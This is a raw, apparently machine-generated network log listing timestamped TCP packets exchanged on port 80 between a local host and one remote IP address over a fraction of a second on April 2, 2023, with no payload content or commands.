Apr 2, 2023 09:49:22.757062912 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.757078886 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.757092953 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.757103920 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.757121086 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.757131100 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.757147074 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.757172108 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.757177114 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.757214069 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.757220030 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.757241011 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.757260084 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.757272005 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.757286072 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.757312059 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.757332087 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.757345915 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.757356882 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.757385969 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.757407904 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.757414103 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.757441998 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.757467031 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.786396980 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.786581039 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.787303925 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787345886 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787373066 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787398100 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787424088 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787448883 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787492990 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.787492990 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787519932 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787544012 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787570000 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787570953 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.787586927 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.787595034 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787615061 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.787620068 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787626028 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.787645102 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787669897 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787694931 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787719965 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787744999 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787755966 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.787767887 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.787770033 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787796021 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787813902 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.787821054 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787841082 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.787846088 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787870884 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787890911 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.787895918 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787915945 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.787920952 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787944078 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.787945986 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787955046 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.787971973 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.787981987 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.787997961 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788022995 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788029909 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788048029 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788053036 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788074017 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788074017 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788093090 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788099051 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788125038 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788146973 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788151979 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788161993 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788172007 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788177967 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788194895 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788211107 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788235903 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788259029 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788261890 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788286924 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788288116 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788311005 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788314104 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788338900 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788352966 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788363934 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788382053 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788388968 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788398981 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788414001 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788424969 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788439989 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788465023 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788489103 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788499117 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788515091 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788539886 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788549900 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788564920 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788583040 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788589954 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788604975 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788615942 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788631916 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788640976 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788661957 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788666010 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788691044 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788691044 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788714886 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788716078 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788738966 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788739920 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788752079 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788764954 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788784981 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788789988 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788810968 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788815022 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788821936 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788847923 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788866997 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788872004 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788897038 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788897991 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788913012 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788925886 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788938999 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788949013 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788969994 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.788975000 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.788999081 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789000988 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789012909 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789024115 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789048910 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789057016 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789067984 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789074898 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789088964 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789100885 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789114952 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789125919 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789144039 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789151907 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789172888 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789176941 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789196968 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789201975 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789212942 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789227962 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789237976 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789254904 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789264917 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789279938 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789295912 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789305925 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789315939 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789330959 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789341927 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789355040 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789370060 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789380074 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789393902 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789403915 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789413929 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789427042 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789441109 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789452076 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789464951 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789475918 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789488077 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789501905 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789527893 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789546013 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789551973 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789572001 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789576054 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789599895 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789604902 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789624929 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789627075 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789640903 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789649010 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789666891 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789673090 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789691925 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789696932 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789710999 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789722919 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789747953 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789761066 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789772034 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789776087 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789796114 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789797068 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789805889 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789819956 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789835930 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789844990 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789853096 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789869070 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789880991 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789894104 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789908886 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789918900 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789942026 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789942980 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789958000 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.789967060 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.789993048 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.790016890 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.790040970 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.790041924 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.790066004 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.790075064 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.790091991 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.790116072 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.815326929 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.817661047 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.818494081 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.818545103 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.818623066 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.818634987 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.818634987 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.818670034 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.818676949 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.818752050 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.818778038 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.818799973 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.818831921 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.818846941 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.818851948 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.818893909 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.818907022 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.818958044 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.818964958 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.819008112 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.819011927 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.819055080 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.819061995 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.819103003 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.819108963 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.819149971 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.819154978 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.819195986 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.819202900 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.819242001 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.819259882 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.819289923 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.819303036 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.819335938 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.819341898 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.819382906 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.819389105 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.819432974 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.819434881 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.819499016 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.819535971 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.819586992 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.819591999 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.819634914 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.819639921 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.819680929 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.819693089 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.819727898 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.819742918 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.819776058 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.819787979 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.819823027 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.819844007 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.819869995 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.819891930 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.819926977 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.819936991 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.819993973 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.820005894 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.820061922 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.820101023 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.820108891 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.820122004 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.820157051 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.820204020 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.820213079 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.820250034 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.820257902 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.820297003 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.820302963 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.820343018 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.820362091 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.820391893 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.820401907 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.820439100 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.820446014 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.820485115 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.820494890 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.820534945 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.820542097 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.820580959 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.820600986 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.820636034 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.820648909 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.820683956 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.820699930 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.820729017 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.820739985 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.820775032 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.820791960 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.820833921 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.820893049 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.820899963 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.820967913 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.820974112 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.821016073 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.821023941 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.821062088 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.821073055 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.821109056 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.821116924 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.821155071 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.821163893 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.821201086 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.821208000 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.821247101 CEST	80	49699	193.23.244.244	192.168.2.4
Apr 2, 2023 09:49:22.821254015 CEST	49699	80	192.168.2.4	193.23.244.244
Apr 2, 2023 09:49:22.821294069 CEST	80	49699	193.23.244.244	192.168.2.4
